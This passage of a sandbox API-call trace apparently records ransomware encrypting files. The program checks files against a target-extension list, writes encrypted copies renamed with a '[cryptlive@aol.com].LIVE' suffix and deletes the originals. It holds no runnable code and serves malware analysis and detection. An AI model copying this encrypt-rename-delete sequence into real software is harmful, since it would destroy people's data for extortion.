4 [0146.949] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.949] lstrlenW (lpString=".jpg") returned 4 [0146.949] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.949] lstrlenW (lpString=".doc") returned 4 [0146.949] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.949] lstrlenW (lpString=".docx") returned 5 [0146.949] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.949] lstrlenW (lpString=".pdf") returned 4 [0146.949] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.949] lstrlenW (lpString=".xls") returned 4 [0146.949] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.949] lstrlenW (lpString=".xlsx") returned 5 [0146.949] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.949] lstrlenW (lpString=".ppt") returned 4 [0146.949] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.949] lstrlenW (lpString=".zip") returned 4 [0146.949] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.949] lstrlenW (lpString=".rar") returned 4 [0146.949] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.949] lstrlenW (lpString=".bz2") returned 4 [0146.949] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.949] lstrlenW (lpString=".7z") returned 3 [0146.949] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.949] lstrlenW (lpString=".dbf") returned 4 [0146.949] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.949] lstrlenW (lpString=".1cd") returned 4 [0146.949] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.949] lstrlenW (lpString=".jpg") returned 4 [0146.950] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.950] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0146.950] lstrlenW (lpString="VISIO_PRM_COL.HXT") returned 17 [0146.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.950] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=209) returned 1 [0146.950] CloseHandle (hObject=0x38c) returned 1 [0146.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 0x20 [0146.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.951] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.951] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.951] GetLastError () returned 0x0 [0146.951] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xd1, lpOverlapped=0x0) returned 1 [0146.952] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0146.954] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.954] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0146.954] SetEndOfFile (hFile=0x394) returned 1 [0146.954] CloseHandle (hObject=0x394) returned 1 [0146.954] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.954] SetEndOfFile (hFile=0x38c) returned 1 [0146.957] CloseHandle (hObject=0x38c) returned 1 [0146.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 1 [0146.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.958] lstrlenW (lpString=".doc") returned 4 [0146.958] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.958] lstrlenW (lpString=".docx") returned 5 [0146.958] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.958] lstrlenW (lpString=".pdf") returned 4 [0146.958] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.958] lstrlenW (lpString=".xls") returned 4 [0146.958] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.958] lstrlenW (lpString=".xlsx") returned 5 [0146.958] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.958] lstrlenW (lpString=".ppt") returned 4 [0146.958] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.958] lstrlenW (lpString=".zip") returned 4 [0146.958] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.958] lstrlenW (lpString=".rar") returned 4 [0146.958] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.958] lstrlenW (lpString=".bz2") returned 4 [0146.958] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.958] lstrlenW (lpString=".7z") returned 3 [0146.958] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.958] lstrlenW (lpString=".dbf") returned 4 [0146.958] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0146.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.958] lstrlenW (lpString=".1cd") returned 4 [0146.958] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.958] lstrlenW (lpString=".jpg") returned 4 [0146.959] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.959] lstrlenW (lpString=".doc") returned 4 [0146.959] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.959] lstrlenW (lpString=".docx") returned 5 [0146.959] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.959] lstrlenW (lpString=".pdf") returned 4 [0146.959] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.959] lstrlenW (lpString=".xls") returned 4 [0146.959] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.959] lstrlenW (lpString=".xlsx") returned 5 [0146.959] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.959] lstrlenW (lpString=".ppt") returned 4 [0146.959] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.959] lstrlenW (lpString=".zip") returned 4 [0146.959] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.959] lstrlenW (lpString=".rar") returned 4 [0146.959] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.959] lstrlenW (lpString=".bz2") returned 4 [0146.959] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.959] lstrlenW (lpString=".7z") returned 3 [0146.959] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.959] lstrlenW (lpString=".dbf") returned 4 [0146.959] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0146.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.959] lstrlenW (lpString=".1cd") returned 4 [0146.959] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0146.959] lstrlenW (lpString=".jpg") returned 4 [0146.959] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.960] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.960] lstrlenW (lpString="VISIO_PRM_F_COL.HXK") returned 19 [0146.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.960] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=114) returned 1 [0146.960] CloseHandle (hObject=0x38c) returned 1 [0146.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 0x20 [0146.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.961] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.961] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.962] GetLastError () returned 0x0 [0146.962] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x72, lpOverlapped=0x0) returned 1 [0146.963] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0146.964] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.964] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0146.964] SetEndOfFile (hFile=0x394) returned 1 [0146.964] CloseHandle (hObject=0x394) returned 1 [0146.964] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.964] SetEndOfFile (hFile=0x38c) returned 1 [0146.967] CloseHandle (hObject=0x38c) returned 1 [0146.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 1 [0146.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.969] lstrlenW (lpString=".doc") returned 4 [0146.969] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.969] lstrlenW (lpString=".docx") returned 5 [0146.969] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.969] lstrlenW (lpString=".pdf") returned 4 [0146.969] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.969] lstrlenW (lpString=".xls") returned 4 [0146.969] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.969] lstrlenW (lpString=".xlsx") returned 5 [0146.969] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.969] lstrlenW (lpString=".ppt") returned 4 [0146.969] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.969] lstrlenW (lpString=".zip") returned 4 [0146.969] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.969] lstrlenW (lpString=".rar") returned 4 [0146.969] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.969] lstrlenW (lpString=".bz2") returned 4 [0146.969] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.969] lstrlenW (lpString=".7z") returned 3 [0146.969] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.969] lstrlenW (lpString=".dbf") returned 4 [0146.969] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.969] lstrlenW (lpString=".1cd") returned 4 [0146.969] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.969] lstrlenW (lpString=".jpg") returned 4 [0146.969] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.969] lstrlenW (lpString=".doc") returned 4 [0146.969] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.969] lstrlenW (lpString=".docx") returned 5 [0146.970] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.970] lstrlenW (lpString=".pdf") returned 4 [0146.970] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.970] lstrlenW (lpString=".xls") returned 4 [0146.970] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.970] lstrlenW (lpString=".xlsx") returned 5 [0146.970] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.970] lstrlenW (lpString=".ppt") returned 4 [0146.970] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.970] lstrlenW (lpString=".zip") returned 4 [0146.970] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.970] lstrlenW (lpString=".rar") returned 4 [0146.970] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.970] lstrlenW (lpString=".bz2") returned 4 [0146.970] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.970] lstrlenW (lpString=".7z") returned 3 [0146.970] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.970] lstrlenW (lpString=".dbf") returned 4 [0146.970] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.970] lstrlenW (lpString=".1cd") returned 4 [0146.970] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0146.970] lstrlenW (lpString=".jpg") returned 4 [0146.970] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.970] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.970] lstrlenW (lpString="VISIO_PRM_K_COL.HXK") returned 19 [0146.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.971] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=113) returned 1 [0146.971] CloseHandle (hObject=0x38c) returned 1 [0146.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 0x20 [0146.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.971] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.971] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.972] GetLastError () returned 0x0 [0146.972] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x71, lpOverlapped=0x0) returned 1 [0146.973] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0146.974] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.974] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0146.974] SetEndOfFile (hFile=0x394) returned 1 [0146.974] CloseHandle (hObject=0x394) returned 1 [0146.974] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.974] SetEndOfFile (hFile=0x38c) returned 1 [0146.977] CloseHandle (hObject=0x38c) returned 1 [0146.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 1 [0146.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.978] lstrlenW (lpString=".doc") returned 4 [0146.978] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.978] lstrlenW (lpString=".docx") returned 5 [0146.978] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.978] lstrlenW (lpString=".pdf") returned 4 [0146.978] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.978] lstrlenW (lpString=".xls") returned 4 [0146.978] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.978] lstrlenW (lpString=".xlsx") returned 5 [0146.978] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.978] lstrlenW (lpString=".ppt") returned 4 [0146.978] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.978] lstrlenW (lpString=".zip") returned 4 [0146.978] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.978] lstrlenW (lpString=".rar") returned 4 [0146.978] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.978] lstrlenW (lpString=".bz2") returned 4 [0146.978] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.978] lstrlenW (lpString=".7z") returned 3 [0146.978] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.978] lstrlenW (lpString=".dbf") returned 4 [0146.978] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.978] lstrlenW (lpString=".1cd") returned 4 [0146.978] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.978] lstrlenW (lpString=".jpg") returned 4 [0146.978] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.979] lstrlenW (lpString=".doc") returned 4 [0146.979] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.979] 